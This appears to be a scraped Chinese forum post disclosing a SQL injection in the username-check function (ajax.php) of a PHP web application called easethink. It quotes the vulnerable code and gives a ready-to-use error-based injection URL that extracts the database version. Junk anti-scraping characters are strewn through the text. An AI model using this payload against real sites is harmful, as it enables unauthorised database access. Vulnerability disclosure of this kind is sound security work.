在注册的时候,输入用户名后台会验证用户名是否存在,当然是通过ajax去验证的也就是ajax.php。很多程序多会忽略这个导致存在SQL注入。5 ^$ \2 R: V8 v1 S
8 ~- M$ w6 t9 S' y- S# `
; P; Y9 r. z0 g
6 C" {4 ~! |9 ^1 D9 a* 验证会员数据 */ function check_user($field_name,$field_data) { //开始数据验证 $user_data[$field_name] = $field_data; $res = array('status'=>1,'info'=>'','data'=>''); //用于返回的数据 if(trim($user_data['user_name'])==''&&$field_name=='user_name') { $field_item['field_name'] = 'user_name'; $field_item['error'] = EMPTY_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; } if($field_name=='user_name'&&$GLOBALS['db']->getOne("select count(*) from ".DB_PREFIX."user where user_name = '".trim($user_data['user_name'])."' and id <> ".intval($user_data['id']))>0)//这里的$user_data['user_name']的值就是用户名提交过来的值,这里只是过滤了空格。所有存在SQL注入漏洞。 { $field_item['field_name'] = 'user_name'; $field_item['error'] = EXIST_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; } % t/ B6 T- b( J" X) }1 a }* J
) j! T& M6 [7 ?4 D5 _
$ C3 a9 r% G1 S* T$ I9 ~
( T/ _. T% G: W9 Q$ iExp:
* _8 ?( @" C4 p5 m% [/ X/ X9 f/ O6 Q; {/ _' y8 s% y+ z
! U: {8 t, l: Q7 }3 L
6 d+ T( p8 V0 E& K4 Nhttp://192.168.9.109/easethink_f ... ame&field_data=**/(select/**/1/**/from/**/(select/**/count(*),concat(version(),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)%23
" C- H; C( J. d7 E' M- l3 H) h: ]" m& x2 _/ R7 l6 D
|